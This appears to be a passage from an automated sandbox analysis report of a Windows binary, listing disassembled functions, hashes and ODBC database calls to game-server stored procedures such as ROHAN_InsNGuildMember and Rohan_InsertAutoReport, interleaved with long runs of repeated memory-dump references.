                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 95c58b32d424ce54b634109185a234e4c84e2a2055f6b22431c39357474f950a
                                                                                                                            • Instruction ID: 58dc910abaf5156ee63ba7d01966b9dea4d4c5c5a0ea3777b9dd6cd9b1e4aa27
                                                                                                                            • Opcode Fuzzy Hash: 95c58b32d424ce54b634109185a234e4c84e2a2055f6b22431c39357474f950a
                                                                                                                            • Instruction Fuzzy Hash: FF51A5B1E40708ABDB14DF89CE51FAEB3B9EB84718F208209F6196F3C5D675AD108758
                                                                                                                            Function 0044483E Relevance: 18.2, APIs: 12, Instructions: 177COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044486D
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 00444891
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 004448B5
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 004448D9
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 004448FD
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 00444921
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 00444945
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 00444969
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044498D
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 004449B1
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?), ref: 004449D5
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 004449F9
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 70c1820db5655a7d68d61d99761d8825f3774138d721092e7fcd1cb132ea599e
                                                                                                                            • Instruction ID: f73c4b884e1ca7f7141de4d38112a95dd2320ac5cb0809c4090d8406f14cba1e
                                                                                                                            • Opcode Fuzzy Hash: 70c1820db5655a7d68d61d99761d8825f3774138d721092e7fcd1cb132ea599e
                                                                                                                            • Instruction Fuzzy Hash: ED51A3B1E00608ABDB14DF99CC51FAEB779EB84718F10C209F6296F3C6D675A850CB58
                                                                                                                            Function 004254C3 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 159COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_InsNGuildMember] (?,?,?,?,?,?,?) } ,000000FD), ref: 004254EC
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042552B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00425563
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00425598
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004255D0
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00425608
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00425640
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 00425678
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 004256B0
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_InsNGuildMember] (?,?,?,?,?,?,?) } , xrefs: 004254E3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_InsNGuildMember] (?,?,?,?,?,?,?) }
                                                                                                                            • API String ID: 0-182063655
                                                                                                                            • Opcode ID: 314f6fdb50f621987b42a650067d3d6b50657188432c27b89023ff95153adfad
                                                                                                                            • Instruction ID: 581b6eebad972d153b7a590b0a4a8c6a4d2f72a2b8abdc4a493921f2e4d44a7e
                                                                                                                            • Opcode Fuzzy Hash: 314f6fdb50f621987b42a650067d3d6b50657188432c27b89023ff95153adfad
                                                                                                                            • Instruction Fuzzy Hash: 6B51FF70A442157BEB649F54CC52FEB7375EB84B18F208388F6196E2C5D9B26D80CB58
                                                                                                                            Function 00425799 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 159COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_UpdateNGuildMember] (?,?,?,?,?,?,?) } ,000000FD), ref: 004257C2
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00425801
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00425839
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042586E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004258A6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 004258DE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00425916
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 0042594E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00425986
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_UpdateNGuildMember] (?,?,?,?,?,?,?) } , xrefs: 004257B9
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_UpdateNGuildMember] (?,?,?,?,?,?,?) }
                                                                                                                            • API String ID: 0-1929444930
                                                                                                                            • Opcode ID: 6a6729e8bd2314ad55cbbc5fb2df7a4c2724926d18959fdfde8c508a571fd1c7
                                                                                                                            • Instruction ID: d863d05d3df7cbea319d4e8dafde626e7a25184862088c92af8065accf351f05
                                                                                                                            • Opcode Fuzzy Hash: 6a6729e8bd2314ad55cbbc5fb2df7a4c2724926d18959fdfde8c508a571fd1c7
                                                                                                                            • Instruction Fuzzy Hash: 40510F706442157BEB648B54CC52FEA7335EB84B18F20C288F6296F2C5DDB16E808B58
                                                                                                                            Function 0043776C Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 158COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [Rohan_InsertAutoReport] (?,?,?,?,?,?,?)},000000FD), ref: 0043778C
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004377CE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00437803
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043783B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00437873
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000014,00000000,?,00000015,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004378AB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,00000001,0000000C,00000014), ref: 004378E3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043791B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000014,00000000,?,00000015,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00437953
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [Rohan_InsertAutoReport] (?,?,?,?,?,?,?)}, xrefs: 00437783
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [Rohan_InsertAutoReport] (?,?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-3621401546
                                                                                                                            • Opcode ID: b6202ddb92394b73101ef64a81fa0c6395a5b70dfe3952f3f7e2749b60f8b86c
                                                                                                                            • Instruction ID: 37fcc42b0638e89595c729f502869e54db7472d61684b33d6f8f0b8d2f6faef3
                                                                                                                            • Opcode Fuzzy Hash: b6202ddb92394b73101ef64a81fa0c6395a5b70dfe3952f3f7e2749b60f8b86c
                                                                                                                            • Instruction Fuzzy Hash: 7551C0B1644314BBFB649F58CC53FA97379EB84B18F204288F7186E2C5DEB16984CB58
                                                                                                                            Function 0044299D Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 158COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_ViolenceDuel_InsResult] (?, ?, ?, ?, ?, ?, ?)},000000FD), ref: 004429BD
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004429FF
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00442A34
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E6,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00442A6C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E6,000000FA,00000000), ref: 00442AA4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E6,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00442ADC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E6,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E6,000000FA,00000000), ref: 00442B14
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E6,000000FA,00000000), ref: 00442B4C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00442B84
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_ViolenceDuel_InsResult] (?, ?, ?, ?, ?, ?, ?)}, xrefs: 004429B4
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_ViolenceDuel_InsResult] (?, ?, ?, ?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-1139363405
                                                                                                                            • Opcode ID: fe7d6a39a5c2f476c32ef6f2a318eb44f185764cec676e908abd0382014d96c9
                                                                                                                            • Instruction ID: 4cd8e7b7dac090c351f13474826d64a22091f0faff80a5aff15813d11bd03296
                                                                                                                            • Opcode Fuzzy Hash: fe7d6a39a5c2f476c32ef6f2a318eb44f185764cec676e908abd0382014d96c9
                                                                                                                            • Instruction Fuzzy Hash: 5F51FDB0A442147BEF248B44CC52FE97235EB84B5CF24C698F6297F2D5D6B16AC08B58
